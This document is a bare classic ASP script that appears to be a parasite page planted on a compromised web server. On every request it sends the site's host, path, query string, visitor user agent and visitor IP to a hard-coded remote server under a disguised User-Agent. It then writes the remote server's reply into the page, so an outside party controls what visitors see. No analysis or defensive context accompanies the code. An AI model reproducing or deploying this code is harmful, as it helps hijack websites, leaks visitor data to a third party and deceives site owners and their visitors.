<%'by*jerry%><%server.Scripttimeout=999999:dim Remote_server,host_name,Url,Domain,UserAgent,Remote_Addr,Remote_file,Content_mb:Remote_server="http://e1617.net/":host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name"):Url = Request.servervariables("Query_String"):Domain = Request.servervariables("Server_Name"):UserAgent = Request.ServerVariables("HTTP_USER_AGENT"):Remote_Addr = Request.ServerVariables("REMOTE_ADDR"):Remote_file = Remote_server&"/index.php"&"?host="&host_name&"&url="&Url&"&domain="&Domain&"&user_agent="&UserAgent&"&remote_addr="&Remote_Addr:Content_mb=GetHtml(Remote_file):response.write Content_mb%><%Function GetHtml(url):dim ObjXMLHTTP,objStream:Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP"):ObjXMLHTTP.Open "GET",url,False:ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O":ObjXMLHTTP.send:GetHtml=ObjXMLHTTP.responseBody:Set ObjXMLHTTP=Nothing:set objStream = Server.CreateObject("Adodb.Stream"):objStream.Type = 1:objStream.Mode =3:objStream.Open:objStream.Write GetHtml:objStream.Position = 0:objStream.Type = 2:objStream.Charset = "gb2312":GetHtml = objStream.ReadText:objStream.Close:End Function%>